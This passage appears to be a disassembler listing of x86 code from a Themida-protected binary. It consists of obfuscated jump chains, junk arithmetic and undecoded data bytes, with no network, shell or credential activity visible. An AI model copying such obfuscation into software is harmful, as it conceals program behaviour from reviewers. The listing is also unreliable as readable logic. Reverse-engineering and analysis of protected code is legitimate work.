		pop	eax
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_51AD79
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0E9h
		dd 51FEh, 0E9242C89h, 6CEBh, 8704C483h,	248B2404h, 24043124h
		dd 0FF3213E9h, 4EC83FFh, 0FF242C89h, 0E9042474h, 1366h
		dd 2EB26EB0h, 668BE9h
		db 0
; ---------------------------------------------------------------------------

loc_51C511:				; CODE XREF: Themida_:00513FEAj
		push	ecx
		mov	ecx, 6A1556D0h
		sub	ebp, ecx
		pop	ecx
		pop	ecx
		jmp	loc_5223BA
; ---------------------------------------------------------------------------

loc_51C520:				; CODE XREF: Themida_:005118DCj
		mov	ebp, 2EFA2B49h
		dec	ebp
		dec	ebp
		dec	ebp
		xor	ebp, 2EFA2B42h
		add	ebx, ebp
		jmp	loc_51A927
; ---------------------------------------------------------------------------

loc_51C535:				; CODE XREF: Themida_:0050FE12j
		push	edx
		push	esi
		jmp	loc_51BFB8
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 7099E900h, 54510000h, 42BD5559h, 0F70F246Eh
		dd 0B9ED81D5h, 1F0DB91h, 0B1E1E9E9h, 0C481FFFFh, 4, 0C794E95Ah
		dd 8141FFFFh, 0C56FCDF1h, 59CD2958h, 7D0FE9h, 0C7814F00h
		dd 0BC2EAD9Ah, 15FFD89h, 242C8BEFh, 104C483h, 243C8BF9h
		dd 0FF89DDE9h, 0E9C701FFh, 0FFFF395Ah
; ---------------------------------------------------------------------------

loc_51C5A0:				; CODE XREF: Themida_:0052138Ej
		pop	esi
		jmp	loc_5204FA
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 76A538F5h, 74C18141h, 0E9D79A8Eh, 24DCh, 88F78853h
		dd 70B8E9F8h, 8B660000h, 31682404h, 8900005Eh, 66E9241Ch
		dd 81000084h, 0B94BFEEEh, 71816827h, 5BE90000h,	8100003Dh
		dd 4C4h, 241C8700h, 6624248Bh, 0E9240C8Bh, 0FFFFD8E5h
; ---------------------------------------------------------------------------

loc_51C5F8:				; CODE XREF: Themida_:0052287Aj
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		db 83h
		dd 83E904C4h, 88FFFFE0h, 885066DAh, 0E9D4F6D4h,	7DB9h
		dd 24048F5Ch, 24248Bh, 81B004D8h, 4ECh,	241C8900h, 0EBC046B3h
		dd 3E3C005h, 4C3968h, 240C8900h, 0ED8048B5h, 2AC38082h
		dd 8FE9EB28h, 8BFFFFDCh, 0FE92424h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51C663:				; CODE XREF: Themida_:00511504j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5102D2
; ---------------------------------------------------------------------------
		dw 12B6h
		dd 8059CE80h, 0C7E926F6h, 81FFFFADh, 4C4h, 3A5F300h, 0EC813862h
		dd 4, 56240C89h, 0A23ABF68h, 24348B12h,	4C481h,	8AE90000h
		dd 51000073h, 42474FFh,	81240C8Bh, 4C4h, 24048F00h, 212BE95Ch
		dd 565B0000h, 0C91527BEh, 0BB3FE95Ch, 0C381FFFFh, 0A4D440Ch
		dd 50C7E9h, 0C3895300h,	8B5BD989h, 89512404h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 43CAE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51C6FE:				; CODE XREF: Themida_:0051AC9Dj
		pop	ecx
		jmp	loc_51A0EF
; ---------------------------------------------------------------------------

loc_51C704:				; CODE XREF: Themida_:00514080j
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_513E3E
; ---------------------------------------------------------------------------

loc_51C713:				; CODE XREF: Themida_:005161B9j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_51170F
; ---------------------------------------------------------------------------
		dw 0CEB8h
		dd 3119C10Dh, 24048BC7h, 0E904C483h, 0FFFFB158h, 5B5BF800h
		dd 0FFECB8E9h, 0C0BD66FFh, 0E801667Fh, 0E8E95D66h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51C747:				; CODE XREF: Themida_:0052145Dj
		pop	esi
		xor	edx, 22A11CF9h
		mov	esi, edx
		pop	edx
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_516272
; ---------------------------------------------------------------------------
		db 55h
		dd 0A46747BDh, 1DED8134h, 8159B14Ah, 604E2CF5h,	2EDC171h
		dd 34F768h, 0EC99E900h,	0E954FFFFh, 24EAh, 0E9D830ACh
		dd 990h, 26D968h, 240C8900h, 4EC81h, 4890000h, 42CEB824h
		dd 0C18930A4h, 6E7BE9h,	2DE95C00h, 0F7000027h, 2457E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51C7BA:				; CODE XREF: Themida_:00511BD3j
		not	dword ptr [esp]
		pop	edi
		and	edi, 38E756E2h
		dec	edi
		xor	edi, 4EB4EF0Eh
		mov	ebx, edi
		pop	edi
		shl	ebx, 7
		shr	ebx, 3
		not	ebx
		and	ebx, 1F524757h
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 14024044h
		sub	edi, 1981007Eh
		jmp	loc_51F984
; ---------------------------------------------------------------------------
		dd 4C581h, 0CE90000h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51C7FB:				; CODE XREF: Themida_:0051E861j
		xchg	ebp, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5245A0
; ---------------------------------------------------------------------------
		dw 0FF55h
		dd 0FF042474h, 2C8B2434h, 4C48324h, 4C481h, 48F0000h, 0E3895324h
		dd 7730BA52h, 0E2C111A7h, 816FE906h, 0E95BFFFFh, 73F5h
; ---------------------------------------------------------------------------

loc_51C838:				; CODE XREF: Themida_:0050F775j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_512403
; ---------------------------------------------------------------------------
aSq		db '\éQ|',0
		align 4
		dd 0E9D2F766h, 7F2Ch, 0E07EF1BFh, 5FF90116h, 74FF5158h
		dd 0C8B0424h, 4C48124h,	8F000000h, 0FF5C2404h, 0E99C240Ch
		dd 0FFFF2E94h, 4EC81h, 34890000h, 50E68924h, 0AF5665B8h
		dd 0BBBA5274h, 0E94E5E06h, 0FFFF64B6h
; ---------------------------------------------------------------------------

loc_51C894:				; CODE XREF: Themida_:0051512Ej
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		and	ecx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_51BD7F
; ---------------------------------------------------------------------------
		dd 0E956575Ah, 0FFFFE449h, 7B94E956h, 0BF570000h, 94348BBh
		dd 0E906EFC1h, 0FFFF45F0h, 0F528A6B6h, 53ED805Ah, 0E800C404h
		dd 6859C42Ch, 1698h, 0FFA6F8E9h, 90ED81FFh, 816DE11Ch
		dd 0D4C468EDh, 8BEF0160h, 0C483242Ch, 4BB5304h,	52000000h
		dd 61F7BE56h, 0F28977FBh, 0FF3F8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51C91D:				; CODE XREF: Themida_:005231C3j
		pop	esi
		push	edx
		push	3B99h
		mov	[esp], edi
		mov	edi, 6D2447C7h
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_52051B
; ---------------------------------------------------------------------------

loc_51C93B:				; CODE XREF: Themida_:0050F723j
		pop	edx
		add	al, cl
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5176FE
; ---------------------------------------------------------------------------
		dd 3304C483h, 34312434h, 6F2AE924h, 48BFFFFh, 4C48124h
		dd 0E9000000h, 0FFFF9BE6h, 595DEA89h, 0FAE9D001h, 68FFFFEFh
		dd 2E29h, 0B8240489h, 6CB00A41h, 8158C589h, 700402CDh
		dd 2EDC17Fh, 5C78C581h,	0EA0936F0h, 79C2815Dh, 29097BAAh
		dd 875D5AD1h, 248B240Ch, 2434FF24h, 4EC835Ah, 68241C89h
		dd 443h, 83242489h, 8B042404h, 0C483241Ch, 12685504h, 8900007Fh
		dd 0D6BA2414h, 891E5B08h, 57685AD5h, 89000034h,	0D2BE2434h
		dd 311E5B08h, 24348BF5h, 55E28952h, 3666A3BDh, 0E9E5D12Fh
		dd 0FFFF5907h, 0E9240C89h, 0FFFFD9EBh, 7935C381h, 348B7663h
		dd 4C48324h, 5C241C87h,	4AB0F66h, 0F5E99C24h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51CA17:				; CODE XREF: Themida_:0051D6A5j
		add	esi, 4
		jmp	loc_5173A3
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 343302C6h, 24343124h, 0E9243433h, 0FFFF67E5h
; ---------------------------------------------------------------------------

loc_51CA34:				; CODE XREF: Themida_:0051BCF3j
		pop	eax
		jmp	loc_514CF8
; ---------------------------------------------------------------------------

loc_51CA3A:				; CODE XREF: Themida_:0052120Fj
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_51BFB2
; ---------------------------------------------------------------------------
		dd 50535954h, 0CE12A768h, 6772E903h, 0BD550000h, 231279A7h
		dd 0BACD8145h, 8100CD70h, 0EB1BE6EDh, 5BC5814Fh, 81324D71h
		dd 745F2C5h, 0E9E829F0h, 0CF8h,	511AEA81h, 0F2012EA1h
		dd 511AC281h, 348B2EA1h, 4C48124h, 81000000h, 4C2h, 9866E900h
		dd 0B82CFFFFh, 569FE9h,	5EF13100h, 5A59CE01h, 0E91C7721h
		dd 0FFFF3B30h, 6F5E6852h, 815A481Ch, 1C6F5CEAh,	84B0E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51CAC6:				; CODE XREF: Themida_:005220DCj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 76BE40E3h
		push	eax
		push	ebx
		mov	ebx, 74800635h
		jmp	loc_51DD52
; ---------------------------------------------------------------------------

loc_51CAE7:				; CODE XREF: Themida_:00524E4Ej
		mov	[esp], ebx
		jmp	loc_515952
; ---------------------------------------------------------------------------

loc_51CAEF:				; CODE XREF: Themida_:005228F8j
		pop	ebx
		add	eax, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	24E9h
		jmp	loc_513C66
; ---------------------------------------------------------------------------

loc_51CB05:				; CODE XREF: Themida_:00517054j
		mov	ecx, esp
		push	esi
		mov	esi, 2EBB51EEh
		xor	esi, 26951D49h
		shl	esi, 8
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 26B97695h
		add	eax, 114A4F9Fh
		add	eax, 740D7EF0h
		inc	eax
		sub	eax, 7DC49E21h
		xor	esi, eax
		pop	eax
		sub	ecx, 69862F61h
		add	ecx, esi
		jmp	loc_5166F8
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF72BAh, 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, 626D2AEFh
		add	esi, 5E796F8Bh
		push	edi
		mov	edi, 7B912045h
		xor	edi, 3F855DE3h
		inc	edi
		shr	edi, 8
		sub	edi, 0AE02A331h
		jmp	loc_51DADA
; ---------------------------------------------------------------------------
		db 1
		dd 0C7815AD7h, 4, 5C243C87h, 8904EC83h,	95BD242Ch, 0C13E6342h
		dd 0CD8104EDh, 459A5250h, 0FF58DBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51CBA1:				; CODE XREF: Themida_:00513C7Bj
		dec	edx
		sub	edx, 0FB448BEBh
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_511CAB
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 1D746824h, 9E90000h,	31000021h, 0B60F66C3h, 89565100h
		dd 4C681E6h, 0E9000000h, 0FA2h,	39ABF57h, 0C7810D1Ch, 793A0454h
		dd 8102E7C1h, 0F87CFAF7h, 0E9FA0164h, 3EFh
; ---------------------------------------------------------------------------

loc_51CC00:				; CODE XREF: Themida_:005111AFj
		and	ecx, 3F0C04B4h
		add	ecx, 0FB8C3C6Ch
		mov	edi, ecx
		pop	ecx
		sub	eax, edi
		pop	edi
		jmp	loc_513FC5
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2404h, 0BA68241Ch, 0E97A7367h, 0FFFFF873h
; ---------------------------------------------------------------------------

loc_51CC28:				; CODE XREF: Themida_:005176D2j
		or	ebx, 34932748h
		add	ebx, 1
		sub	esp, 4
		jmp	loc_5191BA
; ---------------------------------------------------------------------------

loc_51CC39:				; CODE XREF: Themida_:00511A79j
		mov	[esp], edx
		mov	edx, 0A8351Eh
		sub	[esp+4], edx
		jmp	loc_5180A4
; ---------------------------------------------------------------------------
		dw 2A04h
		dd 0FA341D04h, 40DE9h, 787A6800h, 0C890000h, 0A7E95024h
		dd 21FFFFC7h, 243C8BFAh, 5E08950h, 4, 0FF4278E9h, 8BFE89FFh
		dd 6CE9243Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51CC7F:				; CODE XREF: Themida_:00510C45j
		pop	edx
		add	al, bh
		pop	bx
		add	al, dl
		push	ebx
		mov	bl, 0D1h
		add	bl, 9Ah
		sub	al, bl
		jmp	loc_5180CD
; ---------------------------------------------------------------------------
		db 89h
		dd 0B9E92404h, 89000063h, 53572404h, 16EB7BBh, 73EE916h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51CCAA:				; CODE XREF: Themida_:0051FD60j
		dec	edx
		sub	edx, 0FFFFFFFFh
		xor	edx, 72E15AE8h
		push	edi
		mov	edi, 0FAD30FD9h
		jmp	loc_50FAE4
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 0B850h, 47050000h, 151EA1Ah,	0E95652D8h, 23EEh, 0BB3B951h
		dd 0C78107F8h, 5E04309Dh, 0EF81CF01h, 5E04309Dh, 0FBF78159h
		dd 81487416h, 6C33CDC5h, 52C2E96Ah, 0EB81FFFFh,	4C842B99h
		dd 51FDEB81h, 0C3814470h, 0B983208h, 0A7CFE951h, 1487FFFFh
		dd 24248B24h, 0E9242C89h, 683Ch, 84CA815Eh, 504A9F51h
		dd 0FF5D7CE9h, 1BC681FFh, 156D753h, 1BEE81FEh, 0FF56D753h
		dd 575F2434h, 0C7815F54h, 4, 5704C783h,	42474FFh, 24048F5Fh
		dd 6E94E95Ch, 0CB89FFFFh, 5927E9h, 24048900h, 0FFE845E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51CD6D:				; CODE XREF: Themida_:0051F3C7j
		push	ecx
		jmp	loc_52318F
; ---------------------------------------------------------------------------
		db 81h
		dd 297F8CC6h, 11C6813Dh, 81019C67h, 804D58EEh, 0F4C6814Fh
		dd 12B1812h, 0F4EE81CEh, 0E92B1812h, 72Ch, 33240C31h, 248B240Ch
		dd 34FF5024h, 243C8B24h, 4C481h, 0C4810000h, 4,	65C78158h
		dd 0E9161D18h, 1B7Fh
; ---------------------------------------------------------------------------

loc_51CDC0:				; CODE XREF: Themida_:00519281j
		movzx	eax, ax
		jmp	loc_51538A
; ---------------------------------------------------------------------------
		dd 0C5815D54h, 4, 75FFE951h, 7401FFFFh,	348B0424h, 5A545224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 4C5815Dh, 81000000h
		dd 2C5h, 0F6F7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51CE02:				; CODE XREF: Themida_:005179C6j
		mov	[esp], edi
		mov	edi, 7A6207A4h
		add	ebp, 414F3315h
		jmp	loc_51DD97
; ---------------------------------------------------------------------------

loc_51CE15:				; CODE XREF: Themida_:0051A2C1j
		push	ecx
		jmp	loc_513A26
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 54E95004h, 0BDFFFF47h, 111A24BEh, 8145D5F7h
		dd 3B0A40E5h, 90F58173h, 8139A338h, 7B043EF5h, 0E4B95154h
		dd 9139F21h, 0E95559CDh, 5626h,	332F89BBh, 5BD8097Ch, 16F6E948h
		dd 0CF880000h, 57240C8Bh, 0C781E789h, 4, 8EC7E955h, 0C388FFFFh
		dd 0E95BD988h, 0FFFF2FB7h
; ---------------------------------------------------------------------------

loc_51CE7C:				; CODE XREF: Themida_:00522B3Bj
		push	dword ptr [esp]
		jmp	loc_516197
; ---------------------------------------------------------------------------
		dd 0E6814646h, 49242DADh, 2362F681h, 0F1894D95h, 0E92434FFh
		dd 0FFFFB986h, 8B24048Fh, 0E0E92424h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51CEA7:				; CODE XREF: Themida_:0051B7D4j
		push	esi
		add	dword ptr [esp], 141248A1h
		pop	ebp
		sub	ebp, 141248A1h
		pop	esi
		add	ebp, 0D3D30230h
		or	ebx, ebp
		pop	ebp
		jmp	loc_511211
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0C7810000h, 4, 0FF987BE9h, 53E956FFh
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51CEDF:				; CODE XREF: Themida_:0050FB06j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	7865h
		mov	[esp], ebx
		jmp	loc_524C2D
; ---------------------------------------------------------------------------

loc_51CEF3:				; CODE XREF: Themida_:0051D032j
		sub	ecx, 0B417E966h
		add	edx, ecx
		jmp	loc_523ACA
; ---------------------------------------------------------------------------
		dd 4240483h, 6FE9525Fh,	29FFFFDCh, 0C7815DEFh, 0C805749Ch
		dd 3C8BF801h, 4C48124h,	55000000h, 0B046D2BDh, 46E58169h
		dd 81008651h, 0CA55C8C5h, 11C5817Ch, 0C1239532h, 0BF5705E5h
		dd 11446D71h, 11FBC781h, 0FD3133E6h, 5DE8015Fh,	83243C8Bh
		dd 0B06804C4h, 8900001Fh, 5868241Ch, 8B277D1Ch,	0C483241Ch
		dd 1DE0E904h, 0DB80000h, 311DEC08h, 0BC8BE9F0h,	8357FFFFh
		dd 248904ECh, 0FF7EE924h, 0D589FFFFh, 0EB295B5Ah, 0DBDE9h
		dd 4647B800h, 0C7011BFEh, 28626858h, 2C890000h,	0E9FD8924h
		dd 0FFFF6827h, 43AACB81h, 0C3817317h, 4EED4A08h, 0E3C1D3F7h
		dd 8E3C103h, 68C7EB81h,	0FEE98938h, 89FFFFC2h, 405E0h
		dd 0F8E90000h, 28FFFF51h, 0BDB652D0h, 40E9F000h, 55FFFFC2h
		dd 543562BDh, 0ED814D73h, 1506C55Ah, 0D1E9E989h, 0FFFFFF37h
		dd 3C8B2434h, 393CE924h, 0F529FFFFh, 0FF7F59E9h, 0BA5259FFh
		dd 4, 0C8E9D101h, 83FFFF28h, 0D6F704C4h, 2414F756h, 0D3D0E95Eh
		dd 0E957FFFFh, 3032h
; ---------------------------------------------------------------------------

loc_51D024:				; CODE XREF: Themida_:00516041j
		push	ecx
		mov	ecx, 60D645C3h
		sub	ecx, 3B006C72h
		not	ecx
		jmp	loc_51CEF3
; ---------------------------------------------------------------------------
		db 66h
		dd 58C6885Bh, 0F028B92Ch, 5A66B904h, 8048B252h,	3C2C87F2h
		dd 3C04D028h, 1C8B665Ah, 2C48124h, 30000000h, 8FE4E9C3h
		dd 0CC2CFFFFh, 8358C600h, 84E904ECh, 81FFFFD8h,	1EBh, 14F75300h
		dd 0BF575B24h, 1D1632F6h, 2928EF81h, 0C7817506h, 789F5510h
		dd 4DE4EF81h, 0EB8196DDh, 179B52D0h, 0C381FB01h, 179B52D0h
		dd 48B535Fh, 4C48324h, 595C255Bh, 91E9717Eh, 8BFFFF96h
		dd 8B662424h, 89512414h, 3B4868E1h, 14890000h, 27256824h
		dd 3C890000h, 4BF24h, 0FA890000h, 9DC1815Fh, 15F7067h
		dd 9DE981D1h, 8B5F7067h, 93E92414h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D0EB:				; CODE XREF: Themida_:0051926Aj
		neg	ecx
		shr	ecx, 3
		jmp	loc_518B09
; ---------------------------------------------------------------------------
		db 89h,	0D6h, 5Ah
		dd 348BF201h, 4C48124h,	53000000h, 645446BBh, 0B8504B34h
		dd 32EA3BB0h, 5258C329h, 9B31E955h, 0E95FFFFFh,	32E8h
		dd 6CE3E951h, 0E95C0000h, 0FFFFDDD8h, 240CFF56h, 0FF2E49E9h
		dd 0D76866FFh, 665F6679h, 0C166DFF7h, 816604E7h, 661A34E7h
		dd 6667F781h, 5FFD8966h, 66E82966h, 3A98E95Dh, 0FA880000h
		dd 0FFB11AE9h, 25BD55FFh, 0E97FF920h, 0FFFF89A9h, 24048B66h
		dd 0FF6FCDE9h, 0CD0159FFh, 242C8759h, 0C53E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51D182:				; CODE XREF: Themida_:00512378j
		add	ebx, 30590D74h
		add	ebx, ecx
		jmp	loc_51A2CD
; ---------------------------------------------------------------------------
		db 81h
		dd 0A16DD5EFh, 4EC8311h, 0BA241489h, 131E0B43h,	0A0EA8142h
		dd 4253722Eh, 5E54F281h, 0F2817272h, 80ECA22Ah,	148BD731h
		dd 4C48124h, 89000000h,	243C8BFAh, 8904C483h, 24148BD1h
		dd 4C481h, 0F1810000h, 2C70657Ch, 0A4B85053h, 3511A30Ch
		dd 7B574E85h, 0D585BD55h, 0E8294205h, 5D2434FFh, 0E904C483h
		dd 713Ch, 4220C181h, 0E9814092h, 0F4BA3B35h, 0E959CA01h
		dd 1D2Dh
; ---------------------------------------------------------------------------

loc_51D20C:				; CODE XREF: Themida_:0051623Aj
		pop	ebp
		add	ebx, eax
		sub	ebx, 60C410A9h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5142D7
; ---------------------------------------------------------------------------
		dd 3E32BF57h, 0FD015730h, 0C7BE565Fh, 0C12DE61Dh, 0F68105E6h
		dd 68C51A1h, 0FF9AC3E9h, 4EC83FFh, 0B8240489h, 73E845DCh
		dd 1155A025h, 23683501h, 0F43533AFh, 0F759EC29h, 514A2DD8h
		dd 0C7898F34h, 57D7F758h, 0E9240CFFh, 0FFFF61BAh, 0DC62E958h
		dd 0C681FFFFh, 71097043h, 3023E9h, 4C08300h, 0E9240487h
		dd 2264h
; ---------------------------------------------------------------------------

loc_51D28C:				; CODE XREF: Themida_:0051514Aj
		sub	edi, 2BB9DC7Ch
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_5150D1
; ---------------------------------------------------------------------------
		db 92h
		dd 0FF9230E9h, 24148BFFh, 0E9E18951h, 0FFFF835Eh, 42474FFh
		dd 24048F5Bh, 0F1F7665Ch, 34046856h, 24890000h,	24048124h
		dd 4, 8324348Bh, 555304C4h, 8F679A68h, 0BB535D38h, 0C770986Ah
		dd 0FFF108E9h, 772F68FFh, 0C890000h, 21BE5624h,	0E9769F5Eh
		dd 0FFFFA3DBh, 0C381D329h, 14E4380h, 0FF377BE9h, 26685AFFh
		dd 8900001Ah, 0EC812434h, 4, 0E9242489h, 257Eh,	2404875Ch
		dd 24048F5Ch, 6624248Bh, 6824048Bh, 846h, 68241C89h, 6192h
		dd 24048F54h, 5BE5E9h
		db 0
; ---------------------------------------------------------------------------

loc_51D345:				; CODE XREF: Themida_:0051DDA0j
		push	ebp
		not	dword ptr [esp]
		jmp	loc_5222AE
; ---------------------------------------------------------------------------

loc_51D34E:				; CODE XREF: Themida_:0051FFFBj
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_51E912
; ---------------------------------------------------------------------------
		db 49h
		dd 5DE9D187h, 81FFFF47h, 4A03ACE9h, 2ED5E94Bh, 14F7FFFFh
		dd 0A3A3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D38A:				; CODE XREF: Themida_:005213E7j
		shr	edx, 2
		and	edx, 59B81C10h
		jmp	loc_5113A3
; ---------------------------------------------------------------------------
		dd 5C240487h, 52240489h, 0C169A7BAh, 2444812Ah,	813BA104h
		dd 95E2E939h, 0EF88FFFFh, 59C3E9h, 2EE94200h, 8100000Dh
		dd 246352C9h, 0E9545751h, 537h,	565BDE31h, 0C681E689h
		dd 4, 4EE81h, 0FF560000h, 0E9042474h, 5778h, 5A52CB81h
		dd 9DE911B0h, 89000043h, 243C8BFDh, 5591E957h, 5751FFFFh
		dd 4190E953h, 0E9500000h, 0FFFF53B5h, 8BD7015Fh, 0C4812414h
		dd 4, 3676EF81h, 0D7F7DAB8h, 1E1B951h, 74E94C7Bh
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51D42B:				; CODE XREF: Themida_:00520522j
		shl	eax, cl
		push	1274h
		jmp	loc_522EA8
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0A6EB81D3h, 1142F23h, 241C8BDAh, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 295C243Ch, 67C4E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D45E:				; CODE XREF: Themida_:0050FEF5j
		pop	ecx
		jmp	loc_51EF8E
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 24248B24h,	24048966h, 0FF7EC5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51D479:				; CODE XREF: Themida_:0051FD78j
		push	1416h
		jmp	loc_514B14
; ---------------------------------------------------------------------------
		db 24h
		dd 12C26h, 636858C3h, 8900001Ah, 84E92414h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D497:				; CODE XREF: Themida_:0051DEFEj
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	69CAh
		jmp	loc_511742
; ---------------------------------------------------------------------------
		dd 2D0D8DB8h, 0E9D8F74Ah, 0FFFF3A66h, 33240431h, 0E95C2404h
		dd 0FFFFA986h, 4D58C681h, 3EE94F80h, 29FFFFE3h,	0E9815EF1h
		dd 1CE2626h, 0FFD110E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51D4DD:				; CODE XREF: Themida_:00516089j
		sub	edi, ebx
		pop	ebx
		sub	edi, ebx
		add	edi, 5B9079D8h
		sub	edi, 24E05EC9h
		mov	ebx, [esp]
		add	esp, 4
		add	edx, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_51E1D2
; ---------------------------------------------------------------------------

loc_51D4FF:				; CODE XREF: Themida_:0051DA02j
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_51AADC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C892424h, 52E58924h, 4BAh, 0DD13E900h, 4D5AFFFFh, 0FFB9F8E9h
		dd 2434FFFFh, 0E189515Fh, 0FF8AC7E9h, 24248BFFh, 0FFC5B4E9h
		dd 0EA895FFFh, 1C57095Dh, 8B2434FFh, 0C4832414h, 8297E904h
		dd 0C681FFFFh, 9FEE18BFh, 15EF729h, 243C8BFBh, 4C481h
		dd 2FE90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_51D577:				; CODE XREF: Themida_:00524F82j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5104F8
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0C0h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D593:				; CODE XREF: Themida_:0051806Cj
		push	ax
		mov	al, 98h
		sub	bl, al
		pop	ax
		add	bl, 35h
		push	cx
		push	ebx
		jmp	loc_51F1FD
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0FF6DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D5AE:				; CODE XREF: Themida_:0051C2CEj
		push	ebx
		push	ebp
		push	edx
		push	edi
		jmp	loc_5105D9
; ---------------------------------------------------------------------------
		db 81h
		dd 880FBEC3h, 81F3014Bh, 880FBEEBh, 24348B4Bh, 4C481h
		dd 0BD550000h, 4, 0B9E9EB01h, 31FFFF45h, 4332404h, 8C6DE924h
		dd 0D031FFFFh, 0FF2DB5E9h, 8EAC1FFh, 2BEDCA81h,	0EAE9077Eh
		dd 50FFFF4Dh, 0DB5AB6B8h, 8BC72904h, 0C4832404h, 2434FF04h
		dd 4268565Eh, 89000076h, 4832424h, 348B0424h, 4C48124h
		dd 55000000h, 0DA2AC2BDh, 0C6F58106h, 106DA2Ah,	4276E9EEh
		dd 2C89FFFFh, 4BD24h, 6C010000h, 8B5D0424h, 0C483243Ch
		dd 4C78104h, 68000000h,	132Ah, 0E9242C89h, 0FFFF6092h
		dd 8124348Bh, 4C4h, 0BF575000h,	258C6CB5h, 8C6CB1B8h, 1386E925h
		dd 89560000h, 4C681E6h,	83000000h, 348704C6h, 0E6C15C24h
		dd 8EEC106h, 90EBE950h,	0EC83FFFFh, 0EE46E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D69A:				; CODE XREF: Themida_:0051A23Bj
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	esi
